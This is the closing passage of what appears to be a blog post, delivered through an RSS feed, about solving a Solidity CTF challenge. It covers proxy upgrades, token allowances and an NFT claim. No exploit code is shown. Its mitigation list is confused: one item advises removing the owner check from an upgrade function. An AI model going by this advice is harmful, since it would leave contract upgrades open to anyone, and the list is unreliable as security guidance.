Ran <span class="hljs-number">1</span> test suite in <span class="hljs-number">1</span>.64s (<span class="hljs-number">4</span>.58ms CPU time): <span class="hljs-number">1</span> tests passed, <span class="hljs-number">0</span> failed, <span class="hljs-number">0</span> skipped (<span class="hljs-number">1</span> total tests)
</code></pre><h2 id="h-mitigation-of-the-ctf-challenge" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Mitigation of the CTF challenge</h2><p>There are few bugs in both the vault contract (<code>SimpleStrategy.sol</code>) and the challenge contract (<code>AnniversaryChallenge.sol</code>):</p><ol><li><p>Using <code>safeApprove</code> in the <code>externalSafeApprove</code> function in challenge contract, which lead to high severity bug to manipulate because restriction on token allowance. Use <code>safeApprove</code> initially and then use <code>safeIncreaseAllowance</code> or <code>safeDeccreaseAllowance</code> instead to increase or decrease the allowance.</p></li><li><p>Remove the <code>owner != msg.sender</code> in the require statement of <code>_authorizeUpgrade</code> function, which leads to change the pointer of the contract to anyone, which is severe enough to manipulate the code.</p></li><li><p>Change the position of code in catch block of <code>claimTrophy</code> function such that the amount should be paid before <code>safeTransferFrom</code> call, which is impossible if we mitigate the above mentioned bugs.</p></li></ol><p>The aim of the challenge is to claim the <code>trophyNFT</code> from the challenge contract. So, we cannot consider these things as bugs rather a way to find the puzzle to claim the <code>trophyNFT</code>.</p><h2 id="h-learnings-from-the-challenge" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Learning&apos;s from the challenge</h2><p>This is a special for me because it is my first CTF challenge with time limit unlike Damn Vulnerable Defi, Ethernaut, etc., It is quite a frustrating week with lot of hurdles to face while solving the challenge. But only thing that push me forward was the motivation given by my brother and the enthusiasm and love towards the blockchain.</p><p>I learnt very important thing is that not to overlook a small detail, which leads to very very big impact like the one I found in the challenge and neglected, Because in blockchain realm there is no sorry for written mistake in the code if it was there means it is the developer problem and it may lead to high severity bug or not.</p><p>Upon solving this challenge I also learnt few concepts like Proxy contracts, UUPS standard, self-destruct features, and much more.</p><p>So I hope you guys also not make same mistake as I does. Keep up with the work, at some point definitely you will get a strike of idea to solve upon closer investigation and connecting the dots of the challenge. And it is not limited to the challenge but also the audit of any protocol.</p>]]></content:encoded>
            <author>than-71@newsletter.paragraph.com (👟Than⚒️71)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/03c14140592b8d61a4d1a1b3fa68ff62c9e304d4967375a6d794df93831073d9.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>